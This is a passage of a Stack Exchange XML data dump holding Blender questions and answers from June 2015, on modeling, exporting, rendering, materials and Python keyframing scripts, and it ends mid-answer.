  <row Id="32513" PostTypeId="1" CreationDate="2015-06-16T00:43:50.910" Score="1" ViewCount="710" Body="&lt;p&gt;I'm modeling a cord, but I've run into a problem. Basically I modeled it by starting with a cylinder and rotating the final edge, then extruding that to the next sequence. However, this will cause the width to shrink where the edge turns. It's only by a little, but I would like even width throughout. Truth be told, when I add the subdivision surface modifier it becomes indistinguishable to the naked eye, but I would still like to do things &quot;the right way&quot; if there is such a way.Here's an image of my cord minus sub surf modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/knHmJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3109" LastActivityDate="2015-06-17T14:26:28.400" Title="How to make a &quot;rope&quot; like object with even width throughout the whole object? (image inside)" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32514" PostTypeId="1" CreationDate="2015-06-16T00:55:31.057" Score="2" ViewCount="1750" Body="&lt;p&gt;I'm having some trouble exporting a model with textures to be imported into 3DS Max. I decided to use the OBJ exporter. For some reason the model is all screwed up when I import it into 3DS Max.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How it looks in Blender:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/plJ36.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/plJ36.png&quot; alt=&quot;model in blender&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How it looks in 3DS Max:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/SWkMH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SWkMH.png&quot; alt=&quot;exported obj in 3DS Max&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15031" LastEditorUserId="2217" LastEditDate="2015-06-16T03:45:15.160" LastActivityDate="2019-08-14T18:01:02.170" Title="Problem exporting model from Blender to 3DS Max" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;objects&gt;&lt;export&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32515" PostTypeId="2" ParentId="32513" CreationDate="2015-06-16T01:42:33.363" Score="0" Body="&lt;p&gt;One way to do this is rather than modeling the segments of the cord, to model the joints between the segments, and fill in between the joints by bridging the edge loops at the joints. Suppose the goal is a cord of 16 cylinders. Create an open circle with 16 vertices, and the desired radius, then adjust it to the desired orientation. Then pick one vertex, and extrude it away from the circle. The result looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CH0HF.png&quot; alt=&quot;Cord Tool&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to make your cord, make sure &quot;Mesh:Loop tools&quot; is activated, and set the pivot point to &quot;active element&quot;. Duplicate the cord tool, and rotate it about the anchor point. When you get the two instances of the cord tool where you want them to be relative to location and rotation, as, for ecample in &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/leDu4.png&quot; alt=&quot;cord_tool_2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;select the vertices of the circles on both cord tools and from the edges menu (&lt;kbd&gt;CTRL-Ekey&lt;/kbd&gt;), select the &quot;bridge edge loops option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GLpf9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the diameters of the places where the cylinders meet are all the same.&#xA;If the overall appearance of the cylindrical object is not quite what you would like, one easy way to adjust this is to add another circle at the point where it is least satisfactory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes on an object like this, I'll make it away from the point which is its intended final location. Making use of this method means I can select all of the anchor points, and conveniently move the entire assembly to where I want it to go. After the I'm done with the assembly, I delete the anchor points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another technique is to make a short section of your cylinder, but instead of extruding the end, duplicate (&lt;kbd&gt;SHFT-Dkey&lt;/kbd&gt; the section, and move it to the position of the &lt;em&gt;second&lt;/em&gt; segment. Now add an empty object at the location of the center of the arc formed by the two segments, plus the intervening empty section. Rotate the inside ends of the two cylinder segments slightly, and again use the bridge loop to make the segment joining the two. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One common factor in both of these techniques is to keep the sections of the cord short, and the angles of the joint between the two as close to perpendicular to both of the axes of the cylinders as possible. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-06-16T03:42:23.897" LastActivityDate="2015-06-16T03:42:23.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32516" PostTypeId="1" AcceptedAnswerId="32527" CreationDate="2015-06-16T02:03:39.873" Score="3" ViewCount="4772" Body="&lt;p&gt;I have a blender project with 4 separate scenes which get combined in the compositor.  Three of them are quite simple and mostly finished, while I am still working on the main one.  However, every time I hit &lt;kbd&gt;F12&lt;/kbd&gt; or press the &lt;em&gt;render active scene&lt;/em&gt; button it re-renders all 4 scenes, which is a waste of time.  Additionally, each scene must be rendered at a different frame, which for some reason I seem to have to re-tell it every time I render, which makes having to render every scene every time an even bigger pain.  &lt;strong&gt;So is there a way that I can just render one scene?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-06-16T16:42:35.750" Title="How to render just one scene?" Tags="&lt;rendering&gt;&lt;scene&gt;&lt;render-layers&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32517" PostTypeId="1" AcceptedAnswerId="32560" CreationDate="2015-06-16T02:11:07.837" Score="1" ViewCount="1332" Body="&lt;p&gt;I have 4 scenes, each of which needs to be rendered at a different frame.  If I go through each scene and set the proper frame in each scene &lt;em&gt;right before&lt;/em&gt; rendering it will render the proper frames.  However, after doing this Blender seems to forget the specific frames for each scene and sets them all to the same frame as the scene I rendered from.  So I have to go through this process of manually setting each scene's frame every time I render, which is a royal pain.  &lt;strong&gt;Is there a way I can get each scene to render at a different frame &lt;em&gt;and have Blender remember the frames for each scene&lt;/em&gt;?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-06-16T20:34:13.657" Title="How can I render different scenes at different frames?" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;scene&gt;" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32518" PostTypeId="1" CreationDate="2015-06-16T04:23:46.603" Score="1" ViewCount="1086" Body="&lt;p&gt;I have an object that has a location driver, so the location of this object is constantly changing. I want to keyframe its motion throughout a range of frames, with each frame being a keyframe (essentially creating an fcurve). The method I have been using in python is going frame by frame and inserting a keyframe each frame.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy import *&#xA;&#xA;bpy.context.scene.frame_current = 0&#xA;i = 0&#xA;&#xA;for i in range(0,1900):&#xA;    bpy.ops.anim.keyframe_insert_menu(type='Location', confirm_success=False, always_prompt=False)&#xA;    bpy.context.scene.frame_current = bpy.context.scene.frame_current + 1&#xA;    i += 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there an easier way to keyframe a group of frames via python instead of going frame by frame? The more objects added, and a bigger range of frames means blender getting slower over time to add keyframes one by one, so this method can take many hours depending on how many different objects I have involved.&lt;/p&gt;&#xA;" OwnerUserId="15034" LastActivityDate="2016-09-30T21:40:14.253" Title="Is there a way to insert keyframes for a group of frames using python?" Tags="&lt;python&gt;&lt;keyframes&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32519" PostTypeId="2" ParentId="32518" CreationDate="2015-06-16T05:37:13.253" Score="2" Body="&lt;p&gt;You should avoid operators if possible and do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy import context&#xA;&#xA;scene = context.scene&#xA;ob = context.object  # object to keyframe should be selected/active&#xA;# ob = bpy.data.objects[&quot;name&quot;]  # or referenced by name&#xA;&#xA;&#xA;for i in range(0, 1900):&#xA;    scene.frame_set(i)&#xA;    ob.keyframe_insert(data_path=&quot;location&quot;, index=-1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="1363" LastEditDate="2015-06-16T16:08:17.263" LastActivityDate="2015-06-16T16:08:17.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32520" PostTypeId="1" AcceptedAnswerId="32628" CreationDate="2015-06-16T06:22:42.563" Score="2" ViewCount="570" Body="&lt;p&gt;I would like to make a realistic cinnamon stick texture / shader as shown below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference image:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/i3iBV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my attempt  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eVMke.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and a close-up render - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fAoAC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could come this far, but i can't figure out how to make mine bit more rough and dusty looking surface. Help please&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can download my blend file &lt;a href=&quot;http://www.pasteall.org/blend/36605&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="5435" LastEditorUserId="5435" LastEditDate="2015-06-17T15:33:52.520" LastActivityDate="2015-09-12T08:09:00.547" Title="How can I make this cinnamon stick material more rough and dusty looking?" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="9" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32521" PostTypeId="1" AcceptedAnswerId="32534" CreationDate="2015-06-16T06:25:29.557" Score="0" ViewCount="524" Body="&lt;p&gt;I am trying to create an animatic in blenders Video Sequence Editor and I have found a tutorial by a Mathieu Auvray on the Project Gooseberry youtube page where he shows a feature where you can import different VSE scenes into one scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I followed his tutorial, I noticed that a few things he clicked on that weren't in any of the versions of Blender I could find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here was Mathieu's screen:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Tvflc.png&quot; alt=&quot;Mathieu&amp;#39;s VSE screen&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is mine in all my blenders:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/da8IK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plug in I am missing, or a setting I haven't turned on?&#xA;I have been googling it for a while and have been coming up empty.&lt;/p&gt;&#xA;" OwnerUserId="36026" LastActivityDate="2015-06-16T13:14:48.590" Title="Combining Video Editor Scenes in One Scene" Tags="&lt;video-sequence-editor&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32522" PostTypeId="1" CreationDate="2015-06-16T06:30:22.467" Score="0" ViewCount="193" Body="&lt;p&gt;I would like to achieve as much realistic result as possible for a cinnamon stick, one of the things i find challenging is making the flaky fragments at the edges only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;REference image as indicated with number 2 below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l2MhV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is my blender &lt;a href=&quot;http://www.pasteall.org/blend/36536&quot; rel=&quot;nofollow noreferrer&quot;&gt;file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for the help&lt;/p&gt;&#xA;" OwnerUserId="5435" LastActivityDate="2015-06-16T09:51:26.643" Title="How can I make flaky edges for cinnamon stick?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32523" PostTypeId="1" AcceptedAnswerId="32656" CreationDate="2015-06-16T06:30:50.153" Score="2" ViewCount="188" Body="&lt;p&gt;I need help with Quadview drawing. I know how get the quad using the mouse position, but the problem is get the drawing area in the callback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.SpaceView3D.draw_handler_add(draw_callback_px, (self, context), 'WINDOW', 'POST_PIXEL')&#xA;&#xA;..&#xA;&#xA;def draw_callback_px(self, context):&#xA;    # mi draw code here&#xA;      quad = get_quad(x, y) ???&#xA;    # need information of area in pixels or location to select Quad&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, I need the area that is drawing to detect the Quad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can get it?&lt;/p&gt;&#xA;" OwnerUserId="1602" LastEditorUserId="1602" LastEditDate="2015-06-16T07:53:11.947" LastActivityDate="2015-06-18T18:49:42.743" Title="How get drawing area in callback for quadview?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;opengl&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32524" PostTypeId="1" CreationDate="2015-06-16T06:54:50.873" Score="2" ViewCount="146" Body="&lt;p&gt;I'm importing .wrl data from FEA simulation, setting attribute to Col for rendering in Cycles Blender and see vertex color. I wisk to use Blender to better visulations results and animations. Is there any possibility to smoothing interfacing between color? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My color render using Blender.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7swWm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My idea of render.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TMM5V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15035" LastActivityDate="2015-06-16T06:54:50.873" Title="Modify .wrl color in Cycles" Tags="&lt;cycles-render-engine&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32526" PostTypeId="1" AcceptedAnswerId="32624" CreationDate="2015-06-16T07:33:36.950" Score="4" ViewCount="850" Body="&lt;p&gt;I have a texture on my model and the problem is that when I made any changes on one side it appears on the other. I believe the reason of that is that while unwrapping my parts of model doesn't fit on the texture. One way I could think of is to increase the dimensions of texture but to make it as big as I wan't would make the size of picture around 20GB. The other is to reduce dimensions of my model parts but that way I would lose quality and it won't look how I want. So I need that the texture would repeat independently&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fkWA2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vkSnk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15028" LastActivityDate="2015-06-18T04:31:43.083" Title="Texture repeating problem" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32527" PostTypeId="2" ParentId="32516" CreationDate="2015-06-16T07:57:03.160" Score="4" Body="&lt;p&gt;Not sure if you mean this, but I think you clicked the 'Render' button in the properties panel (which is the same as pressing &lt;kbd&gt;F12&lt;/kbd&gt;). But if you click the small 'render' button in the compositor (Node Editor) it will only render that scene.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/n1fCz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-06-16T07:57:03.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32528" PostTypeId="1" CreationDate="2015-06-16T08:02:12.883" Score="1" ViewCount="2134" Body="&lt;p&gt;I have a very simple node set up as below for a leaf texture which is a transparent backgrounded png file. When I use the transparent shader with alpha node, I still get the white backround appearing as below, I can't figure out what's the problem here, please help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Render view&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2CDmH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;nodes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EFaPi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PNG &lt;a href=&quot;http://www.pasteall.org/pic/89485&quot; rel=&quot;nofollow noreferrer&quot;&gt;file&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender &lt;a href=&quot;http://www.pasteall.org/blend/36582&quot; rel=&quot;nofollow noreferrer&quot;&gt;file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks a lot&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ps. I went through questions already asked here for this subject, they didn't solve my problem, even though it's a very simple node set-up - sorry if it's a duplicate which I haven't seen yet&lt;/p&gt;&#xA;" OwnerUserId="5435" LastEditorUserId="47" LastEditDate="2015-06-16T14:09:40.280" LastActivityDate="2015-06-16T14:09:40.280" Title="Why is there still a white background even though a transparent png image is used?" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;transparency&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32529" PostTypeId="2" ParentId="32528" CreationDate="2015-06-16T08:50:07.857" Score="2" Body="&lt;p&gt;I opened your file, everything is OK, even in render view. In your photo it seems that the leaf is projecting a shadow on an object just underneath; is there a duplicate? I hope it can be helpful&lt;img src=&quot;https://i.stack.imgur.com/AxAqT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-06-16T08:50:07.857" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32530" PostTypeId="2" ParentId="32472" CreationDate="2015-06-16T08:54:27.147" Score="2" Body="&lt;p&gt;I used the Node Editor and added the Emission shader between the Image Texture and the Material Output. I set the Emission shader to 0.85 this seemed to give the right balance of light to offset the lighting that I was using and mostly restored the colours in the background image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll add some more lighting to match the image lighting better, adjust the Field of view, camera distance etc to get the focus looking right and match the image blur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for the advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3Qsff.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15009" LastEditorUserId="47" LastEditDate="2015-06-16T14:48:41.520" LastActivityDate="2015-06-16T14:48:41.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32531" PostTypeId="2" ParentId="32522" CreationDate="2015-06-16T09:51:26.643" Score="1" Body="&lt;p&gt;I separated the Object Data so I could modify each model independently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The model on the left has the Solidify Modifier Applied since it restricts Vertex Painting and UV Mapping, (I wanted to try a few things there.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The model on the right is mostly the same as you made it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used Vertex Paint and a Particle System on both of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a &lt;strong&gt;&lt;em&gt;Group&lt;/em&gt;&lt;/strong&gt; of several jagged models on a hidden layer that are being used to simulate the flecks along the edges. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's really now just a matter of cloning those pieces using the particle system and using weight painting to control the distribution on the cinnamon stick models.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make a series of Objects connected using a Group, press &lt;kbd&gt;g&lt;/kbd&gt; while in Object mode after you have selected all the Objects for the group.  They should now all be highlighted in green.  I find this works best when you have the Objects facing down the y-axis with the Origin at (0,0,0).  I also, prefer to rotate them in Edit mode to avoid having to apply the rotations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/trx6u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Particle's Render tab, activate the &lt;strong&gt;&lt;em&gt;Group&lt;/em&gt;&lt;/strong&gt; option and Select the group.  It would be better to change the name 'group' to something more like 'flecks' since Blender also calls Vertex Groups 'group' and since Weight Painting adds a Vertex Group, this can be confusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in the Particles tab, add 'Group' to the Vertex Group's &lt;strong&gt;Density&lt;/strong&gt;&#xA;field.  Now any weight painting that you've done on the model should control where the flecks show up.  Adding the Vertex Group control to the Length helps here as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/muFJ1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here's the modified .blend file.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/279/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=279&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-06-16T09:51:26.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32532" PostTypeId="2" ParentId="32528" CreationDate="2015-06-16T10:44:24.533" Score="5" Body="&lt;p&gt;Open up the &lt;em&gt;Node Editor&lt;/em&gt;, select the image texture node, then open the &lt;em&gt;Properties Panel&lt;/em&gt; &lt;kbd&gt;N&lt;/kbd&gt; and enable &lt;strong&gt;Use Alpha&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://imgur.com/7JOcihB.png&quot; alt=&quot;enable alpha&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15038" LastEditorUserId="3710" LastEditDate="2015-06-16T11:03:13.660" LastActivityDate="2015-06-16T11:03:13.660" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32533" PostTypeId="2" ParentId="30459" CreationDate="2015-06-16T12:06:36.393" Score="2" Body="&lt;p&gt;To fix this, in file&gt; user preferences &gt; input tab, search for the &quot;knife&quot; tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under &quot;Knife Topology Tool&quot; it should say &quot;Knife Tool Modal Map&quot;, click on the drop down arrow next to that and find the &quot;Add Cut&quot; shortcut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;drop down the &quot;Add Cut&quot; arrow and change the option that says &quot;Press&quot; to &quot;Any&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GmFVf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15039" LastActivityDate="2015-06-16T12:06:36.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32534" PostTypeId="2" ParentId="32521" CreationDate="2015-06-16T13:14:48.590" Score="2" Body="&lt;p&gt;The gooseberry project uses a development branch of blender that has some modifications that haven't been applied to the main blender development yet. This is one change that is currently only in the gooseberry branch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can compare the code for the relevant panel in &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/gooseberry/release/scripts/startup/bl_ui/space_sequencer.py;4925b5c9a9a81377a2bbe5467ccd378702ef67bb$793&quot; rel=&quot;nofollow&quot;&gt;gooseberry branch&lt;/a&gt; and the &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/release/scripts/startup/bl_ui/space_sequencer.py;c55cf743cdc68f4c1aeabba91d98a0bec96a62ef$791&quot; rel=&quot;nofollow&quot;&gt;master branch&lt;/a&gt; to spot the change. There are also other supporting code changes elsewhere to get that to work, see &lt;a href=&quot;https://developer.blender.org/rBb8e88c1821478fd93c5f625812da85b0c23d6dce&quot; rel=&quot;nofollow&quot;&gt;this commit&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are gooseberry builds available to download from &lt;a href=&quot;https://builder.blender.org/download/&quot; rel=&quot;nofollow&quot;&gt;blender daily builds&lt;/a&gt; or you can look at &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Doc/Building_Blender&quot; rel=&quot;nofollow&quot;&gt;building your own version of blender&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-06-16T13:14:48.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32535" PostTypeId="2" ParentId="32468" CreationDate="2015-06-16T14:23:56.500" Score="1" Body="&lt;p&gt;This is a slight variation of @ideasman42, done by my friend Yorik Van Havre. It writes the file all in the same line. The output can be pasted directly to &lt;a href=&quot;http://prototipe.com.br/html_3d/arqA.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this HTML file&lt;/a&gt;, if someone is interested.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy import context&#xA;&#xA;filepath = &quot;/home/chico/Desktop/obj/simple.obj&quot; #Unix filepath template&#xA;#filepath = &quot;C:\obj\simple.obj&quot; #Windows filepath template&#xA;&#xA;obj = context.object&#xA;mesh = obj.data&#xA;&#xA;with open(filepath, 'w') as f:&#xA;    f.write(&quot;OBJ File: &quot;)&#xA;    for v in mesh.vertices:&#xA;        f.write(&quot;v %.4f %.4f %.4f &quot; % v.co[:])&#xA;    for p in mesh.polygons:&#xA;        f.write(&quot;f &quot;)&#xA;        for i in p.vertices:&#xA;            f.write(&quot;%d &quot; % (i + 1))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15007" LastEditorUserId="15007" LastEditDate="2016-11-23T20:12:23.557" LastActivityDate="2016-11-23T20:12:23.557" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="32538" PostTypeId="2" ParentId="8435" CreationDate="2015-06-16T16:01:45.163" Score="2" Body="&lt;p&gt;Another technique is illustrated at &lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/exec-text-library.html&quot; rel=&quot;nofollow&quot;&gt;http://web.purplefrog.com/~thoth/blender/python-cookbook/exec-text-library.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;bufferName = 'lib 1'&#xA;lib1 = bpy.data.texts[bufferName].as_string()&#xA;exec(lib1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-06-16T16:01:45.163" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32540" PostTypeId="2" ParentId="32518" CreationDate="2015-06-16T16:21:44.140" Score="3" Body="&lt;p&gt;zeffii's answer is better than using bpy.ops, but if you want to get closer to the metal, it gets a little clumsy.  Blender's action API is missing several convenience functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It boils down to these steps&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;make sure the datablock has animation_data&lt;/li&gt;&#xA;&lt;li&gt;get the &lt;code&gt;animation_data.action&lt;/code&gt; or &lt;code&gt;.action=bpy.data.actions.new(name)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;find the &lt;code&gt;action_data.fcurves[i]&lt;/code&gt; that matches the &lt;code&gt;data_path&lt;/code&gt; and &lt;code&gt;array_index&lt;/code&gt;, or create the fcurve&lt;/li&gt;&#xA;&lt;li&gt;make sure there are enough &lt;code&gt;fcurve.keyframe_points&lt;/code&gt; to load our data into&lt;/li&gt;&#xA;&lt;li&gt;assign the &lt;code&gt;fcurve.keyframe_points[j].co&lt;/code&gt; and possibly &lt;code&gt;.interpolation&lt;/code&gt;, &lt;code&gt;.handle_left,&lt;/code&gt; &lt;code&gt;.handle_right&lt;/code&gt;, etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are a couple of examples embedded in &lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/movie-card-stack.html&quot; rel=&quot;nofollow&quot;&gt;http://web.purplefrog.com/~thoth/blender/python-cookbook/movie-card-stack.html&lt;/a&gt; and &lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/csv-to-fcurve.html&quot; rel=&quot;nofollow&quot;&gt;http://web.purplefrog.com/~thoth/blender/python-cookbook/csv-to-fcurve.html&lt;/a&gt; which I will summarize here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def make_or_get_fcurve(obj, data_path, index=-1):&#xA;    